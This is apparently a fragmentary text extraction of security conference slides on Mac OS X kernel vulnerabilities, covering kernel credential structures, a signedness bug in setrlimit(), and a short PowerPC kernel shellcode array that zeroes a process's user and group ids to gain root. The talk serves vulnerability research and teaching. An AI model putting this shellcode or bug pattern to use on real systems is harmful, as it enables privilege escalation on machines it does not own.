Macos Kernel in Security
Macos Kernel in Security
Kernel Insecurity
Ilja van Sprundel
Christian Klein
Who we are
• Christian Klein
• CS student in Bonn
Agenda
• Information leaks
• Buffer overflows
• Userland compromisation
• a kernel
• runs on PPC
• a part of MacOS X
• UNIX based
• a mix of
• FreeBSD (UNIX)
• memory managment
Why kernel vulnerabilities?
• exploitable
/* substructures: */
struct pcred *p_cred; /* Procress owner's identity */
...
}
struct pcred {
struct lock__bsd__ pc_lock;
struct ucred *pc_ucred; /* Current credentials */
uid_t p_ruid; /* Real user id */
uid_t psvuid; /* Saved effective user id */
gid_t p_rgid; /* Real group id */
gid_t p_svgid; /* Saved effective group id */
int p_refcnt; /* Numbers of references */
}
Developing
kernel shellcode IV
Basic Darwin kernel shell code:
int kshellcode[] = {
0x3ca0aabb, // lis r5, 0xaabb
0x60a5ccdd, // ori r5, r5, 0xccdd
0x80c5ffa8, // lwz r6,
88(r5) 0x80e60048, // lwz r7,
72(r6) 0x39000000, // li r8,0
0x9106004c, // stw r8,
76(r6) 0x91060050, // stw r8,
80(r6) 0x91060054, // stw r8,
84(r6) 0x91060058, // stw r8,
88(r6) 0x91070004 // stw r8, 4(r7)
}
Returning from
shell code
• in most userland applications there is usually no need to
return.
Demonstration
broke
Kernel bugs allowing
userland compromise
struct rlimit {
rlim_t rlim_cur; /* current (soft) limit */
rlim_t rlim_max; /* maximum value for
rlim_cur */
};
setrlimit() II
int dosetrlimit(struct proc *p, u_int which, struct rlimit *limp) {
register struct rlimit *alimp;
...
alimp = &p->p_rlimit[which];
if (limp->rlim_cur > alimp->rlim_max || limp->rlim_max > alimp->rlim_max)
if (error = suser(p->p_ucred, &p->p_acflag))
return (error);
...
switch (which) {
...
case RLIMIT_NOFILE:
/* Only root can set the maxfiles limits, as it is systemwide resource */
if ( is_suser() ) {
if (limp->rlim_cur > maxfiles)
limp->rlim_cur = maxfiles;
if (limp->rlim_max > maxfiles)
limp->rlim_max = maxfiles;
} else {
if (limp->rlim_cur > maxfilesperproc)
limp->rlim_cur = maxfilesperproc;
if (limp->rlim_max > maxfilesperproc)
limp->rlim_max = maxfilesperproc;
}
break;
...
Kernel bugs:
setrlimit() III
• all values used are signed, negative rlimits can be
used
Updated slides at
http://c0re.23.nu/~chris/presentations/